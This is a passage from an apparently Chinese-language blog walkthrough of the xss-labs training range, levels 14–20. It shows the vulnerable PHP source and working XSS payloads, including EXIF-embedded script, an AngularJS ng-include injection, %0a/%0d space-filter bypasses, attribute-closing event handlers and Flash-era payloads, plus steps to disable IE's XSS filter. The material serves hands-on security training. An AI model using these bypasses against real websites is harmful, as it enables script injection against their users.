        echo "<h4>[ ".$file." ]的EXIF信息:</h4>";
        foreach ($exif as $key => $section) {
            foreach ($section as $name => $val) {
                echo "$key.$name: $val<br />\n";
            }
        }
    }catch (Exception $e){
        echo $e;
    }
?>

修改level14.php的源代码:

关卡正常显示:

上传一个正常图片,报错如下:

Fatal error: Call to undefined function exif_read_data() in E:\phpstudy_pro\WWW\index.php on line 43

需要打开php_exif扩展。再次测试:

成功打印出图片的EXIF信息。

什么是EXIF信息?

EXIF(Exchangeable Image File Format,可交换图像文件格式)是一种标准,用于在数字图像文件中存储附加信息。这些信息通常包括拍摄照片时的相机设置、时间和日期、地理位置等元数据。EXIF信息使得图像文件能够携带更多的上下文信息,有助于了解照片的拍摄条件和环境。

exif_read_data() 是 PHP 中的一个函数,用于从图像文件中读取 EXIF 头信息,从而可以获取数码相机生成的元数据。这些元数据通常包括拍摄照片时的相机设置、时间和日期、地理位置等信息。该函数主要适用于 JPEG 或 TIFF 格式的图像文件。

14.4 解题

  • 查看网页的源代码:
  • 通过修改图片的EXIF信息为XSS脚本

查看exif信息

1)exiftool

安装exiftool,brew install exiftool

查看图片的exif信息,exiftool /path/to/your/image.jpg

2)右键显示预览选项

或者右键显示预览选项

3)exifviewer工具查看和编辑

4)使用windows右键图片属性进行查看和修改(推荐✅)

可以看到exif信息已经被修改。

  • 上传篡改过exif信息的图片

成功触发xss代码执行。

通过抓包分析可以看到,xss POC脚本成功渲染并被执行。

小结

本关服务端读取图片的exif信息并回显到页面,xss攻击的思路就是在exif信息中插入js代码,当后端回显到页面时触发执行。

十五、level-15***(angular ng-include 包含xss攻击)

15.1 题面

15.2 解题

  • 数据提交与回显逻辑

提交的GET参数aaa会出现在span标签的class属性中。

  • POC探测
<script SCRscriptIPT " ' Oonn>

1)左右尖括号被编码

2)双引号被编码

很像是使用了函数。

15.2 代码审计

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

确实使用了htmlspecialchars函数。

如何绕过呢?

15.3 外援

注意到在head中包含了一个名为”angular.min.js”的文件。

这个js文件干嘛的?

angular.min.js 是 Angular 框架的一个压缩版本文件,通常用于在生产环境中减少文件大小和提高加载速度。Angular 是一个流行的前端 JavaScript 框架,由 Google 维护,用于构建动态的单页应用程序(SPA)。

ng-include 是 AngularJS 框架中的一个指令(Directive),它用于动态地将外部 HTML 文件的内容包含(嵌入)到当前的视图(View)中。这在构建大型应用程序时非常有用,因为它允许开发者将页面分解成更小、更易于管理的组件。

通过使用ng-include,可以将外部HTML文件的内容动态地插入到当前的HTML页面中。

以下是ng-include的基本用法:

在需要包含外部文件的位置,使用ng-include指令,并将要包含的文件路径赋值给指令的属性值。

<div ng-include="'path/to/file.html'"></div>

我们知道了ng-include 是一个文件包含指令,那我们可以让当前网页包含一个有xss漏洞的页面,比如level1.php,然后提交name参数触发执行。

Try1:

'level1.php?name=<script>alert('xss')</script>'
'level1.php?name=<script>alert(1)</script>'
'level1.php?name=<a href=x onerror=alert(1) >' //a标签不是自闭合标签

Try2:

'level1.php?name=<img src=x onerror=alert(1)>'
'level1.php?name=<img src=x onerror=alert(12) >'

成功触发xss代码执行。

问题深究

为什么Try1不可以,Try2可以?只能用自闭合的标签?

'level1.php?name=<source src=x onerror=alert(1)>'  //失败
<video>
'level1.php?name=<video src=x onerror=alert(1)>' //成功
'level1.php?name=<audio src=x onerror=alert(1)>' //成功

有src属性的自闭合标签有哪些?

总结

angular ng-include 包含xss攻击。

注意img、video、audio等自闭合的资源类标签的使用。

十六、level-16**(%0a%0d%0a%0d%0d%0a绕过空格过滤)

16.1 题面

16.2 解题

  • 探测数据提交和回显逻辑

通过keyword参数提交数据,在center标签中回显。

  • POC测试
<script SCRscriptIPT " ' Oonn>

1)转化为了小写

2)将script转化为了空格

3)将空格编码为了&nbsp;

4)没有编码on,单引号,双引号,左右尖括号

  • 构造payload
<img/src=x/onerror=alert(1)>

/替换空格貌似行不通。

16.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

可以看到,先转化为了小写,然后将script替换为&nbsp;,将空格替换为&nbsp;,将正斜杠替换为&nbsp;,最后在讲空格替换为&nbsp;

16.4 空格过滤绕过

除了正斜杠/绕过空格过滤外。下面的符号也可以用于绕过空格过滤。

换行符(LF):%0a
制表符(HT):%09
回车符(CR):%0d

经过测试本关%0a%0d%0a%0d%0d%0a均可以绕过空格过滤。

小结

本关主要考察xss中空格过滤的绕过。

十七、level-17(事件属性闭合绕过)

17.1 题面

是的,Flash插件已经基本退出历史舞台。Adobe公司在2020年12月31日正式停止了对Flash的支持,并且从2021年1月12日起,Flash内容无法再正常运行。主流浏览器如Chrome、Firefox和Edge等也都在2020年底或2021年初停止了对Flash的支持。尽管如此,仍有部分用户因特定需求在使用一些特殊版本或替代方案来继续运行Flash内容,但这些方法存在安全风险,且Flash的使用场景已经大幅减少。

17.2 解题

  • 探测数据提交与回显
http://192.168.52.8/xss-labs/level17.php?arg01=aaaa&arg02=bbbb

观察bbb的回显位置,可以考虑闭合src属性。

embed标签

<embed>标签用于在HTML文档中嵌入外部内容,如多媒体文件、PDF文档、Flash动画等。不过,由于大多数现代浏览器已经弃用并移除了对插件的支持,因此<embed>标签的使用场景已经大幅减少。

<embed>标签的属性

  • **src**:指定要嵌入的外部文件的URL。
  • **type**:指定嵌入内容的MIME类型。
  • width和height:分别指定嵌入内容的宽度和高度,单位为CSS像素。
  • 构造payload
bbbb" onmouseover=alert(1) "
或
bbbb onmouseover=alert(1) 

通过✅。

17.3 代码审计

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

SWF(Shockwave Flash)文件是一种用于在网页上嵌入多媒体内容的文件格式,通常用于动画、视频、交互式应用程序等。SWF文件是由Adobe Flash软件生成的,曾经广泛用于网页设计和在线游戏等领域。

由于安全问题、性能问题以及移动设备对Flash支持的不足,Adobe Flash逐渐被市场淘汰。Adobe公司在2020年12月31日正式停止了对Flash的支持,并且从2021年1月12日起,Flash内容无法再正常运行。主流浏览器如Chrome、Firefox和Edge等也都在2020年底或2021年初停止了对Flash的支持。

小结

本关的本意是考察flash的xss攻击,但是由于flash已经退出历史舞台,关卡也没什么意义。

此外通过属性闭合的方法也可以触发xss的执行。

十八、level-18(事件属性闭合绕过)

同lelevel-17.

十九、level-19(flash xss)

目前主流的浏览器都不再支持flash了。在win2008服务器上用同样退出历史舞台的ie浏览器做一下复现吧。

如果碰到下面的信息:

Internet Explorer 已对此页面进行了修改,以帮助阻止跨站脚本。单击此处,获取详细信息...

点击 IE9 的“工具”->“Internet 选项”,进入“安全”选项卡,打开“Internet”和“可信站点”下方的“自定义级别”,在“安全设置”对话框中找到“启用 XSS 筛选器”,改为“禁用”即可。

Payload:

http://127.0.0.1/xss-labs/level19.php?arg01=version&&arg02=<a href="javascript:alert(1)">xss</a>

二十、level-20(flash xss)

Payload:

http://127.0.0.1/xss-labs/level20.php?arg01=id&&arg02=\"))} catch(e){alert(1)} //%26width=500%26height=500

19和20关仍然是针对flash组件的xss攻击,不过目前的浏览器都不再支持flash了。

不做详细的介绍,意义不大,只放了payload。感兴趣的可以自行研究。

总结

至此xss-labs基本实现了通关,每一关的关键要点都在后面的小括号中标明了。这个靶场主要还是练习反射型xss的触发方法,没有针对存储性和DOM型的xss的题目,并且缺少进一步利用(执行shellcode)的场景练习。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录